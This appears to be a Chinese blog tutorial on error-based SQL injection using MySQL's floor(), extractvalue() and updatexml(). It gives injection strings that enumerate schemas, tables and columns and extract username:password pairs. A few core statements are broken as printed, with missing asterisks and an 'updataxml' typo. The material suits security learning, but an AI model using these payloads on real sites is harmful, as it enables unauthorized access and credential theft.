基于报错的SQL注入

Posted by Tattoo on 2019-01-07
Estimated Reading Time 5 Minutes
Words 1.1k In Total
Viewed Times

报错注入原理

构造payload让信息通过错误提示回显出来
向服务器发送错误请求时,返回错误信息

应用场景:
  查询不回显内容时,会打印错误信息

  错误信息:
    1.如果能让错误信息中返回数据库中的内容,即可实现SQL注入

报错注入方法

凡是能让错误信息显示的函数,都能实现报错注入,主要有以下三种。

  • floor() :
      select count() from information_schema.tables group by concat((select version()),floor(rand(0)2));
      group by 对rand()函数进行操作时产生错误

  • extractvalue() :
      select extractvalue(1,concat(0x7e,(select version()),0x7e));
      parm2:XPATH语法错误,错误内容为select version()执行结果

  • updatexml() :
      select updataxml(1,concat(0x7e,(select user()),0x7e),1);
      parm2:XPATH语法错误,错误内容为select user()执行结果

floor()报错注入方法

  • 核心SQL语句:
      select count() from information_schema.tables group by concat((select version()),floor(rand(0)2));

concat():没有分隔地连接字符串
floor(x):返回小于或等于x的最大整数(向下取整)
rand():返回0-1之间的一个随机数
group by:根据一个或多个列对结果集进行分组并排序

因为concat()函数连接了两个参数,使得报错结果容易被混淆。为了区分报错结果的内容,可添加分隔符作为区分,如0x7e等。

  • 修改核心SQL语句中select version()部分进行注入:

1.获取数据库信息

1
id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e,floor(rand(0)*2)))--+

2.获取表信息

1
id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

3.获取字段信息

1
id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+

4.获取数据

1
id=-1' or (select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+



extractvalue()报错注入方法

  • 核心SQL语句:
      select extractvalue(1,concat(0x7e,(select version()),0x7e));

为什么要用concat()?
concat()的第一位一定要用非法的XPATH格式的值,让他产生报错,然后用concat连接后面的结果,才能返回全部数据

XPATH语法:
  eg.1 select extractvalue(1,1); –>返回1
  eg.2 select extractvalue(1,2); –>返回2
  eg.3 select extractvalue(1,’1!’); –>返回ERROR 1105 (HY000): XPATH syntax error: ‘!’
  程序会认为数字1是合法的,但’!’不合法,所以报错

  • 修改核心SQL语句中select version()部分进行注入:

1.获取数据库信息

1
id=-1' or (select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)))--+

2.获取表信息

1
id=-1' or (select extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)))--+

3.获取字段信息

1
id=-1' or (select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)))--+

4.获取数据

1
id=-1' or (select extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)))--+



updatexml()报错注入方法

  • 核心SQL语句:
      select updatexml(1,concat(0x7e,(select version()),0x7e),1);

updatexml()类似于extractvalue(),updatexml接收3个参数,第一个XML文档,第二个xpath语句,第三是要替换成为的字符串

  • 修改核心SQL语句中select version()部分进行注入:

1.获取数据库信息

1
id=-1' or (select updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1))--+

2.获取表信息

1
id=-1' or (select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1))--+

3.获取字段信息

1
id=-1' or (select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1))--+

4.获取数据

1
id=-1' or (select updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1))--+

tips:
  有时报错注入对返回的数据有长度限制,一般为32位数,当返回的数据太长就不能完全显示。此时,用substr(string,start,length)对数据进行截取
e.g.

1
id=-1' or (select updatexml(1,concat(0x7e,(select substr(concat(username,0x7e,password),1,10) from users limit 0,1),0x7e),1))--+

总结

  报错注入也是比较容易,类似简单地套用公式。以上三种是常用的函数,报错注入还可以利用其他函数,有兴趣请自行研究!


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !